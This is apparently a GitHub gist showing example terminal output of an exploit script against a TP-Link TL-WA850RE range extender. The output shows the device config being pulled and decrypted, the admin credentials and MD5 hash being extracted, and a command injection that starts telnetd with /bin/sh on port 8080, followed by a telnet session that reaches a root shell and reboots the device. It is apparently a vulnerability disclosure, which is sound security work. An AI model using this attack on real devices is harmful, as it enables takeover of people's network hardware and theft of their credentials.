Skip to content

Instantly share code, notes, and snippets.

@eacmen
Last active July 20, 2018 01:53
Show Gist options
  • Save eacmen/89dc6938753388896ae255a3d60aa295 to your computer and use it in GitHub Desktop.
Save eacmen/89dc6938753388896ae255a3d60aa295 to your computer and use it in GitHub Desktop.
TP-LINK WL-WA850RE Example Exploit Output
$ python ./exploit.py 192.168.0.254
[+] Requesting browser cookie…
[+] Retrieved cookie: ‘COOKIE=6500a8c000184c02; PATH=/; MAXAGE=9999; VERSION=1’
[+] Attempting to retrieve device configuration data…
[+] Got encrypted config file for model: TL-WA850RE v5.0
[+] Decrypting config file…
[+] Decompressing configuration data…
[+] Admin username: ‘admin’
[+] Admin password (MD5): ‘1048552CDE8EBBBE4CAEF9D3B95AB41B’
[+] Attempting login with password only…
[+] Attempting to execute “telnetd -l /bin/sh -p 8080”…
[+] Exploit successful!
$ telnet 192.168.0.254 8080
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.
/ # reboot
/ # Connection closed by foreign host.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment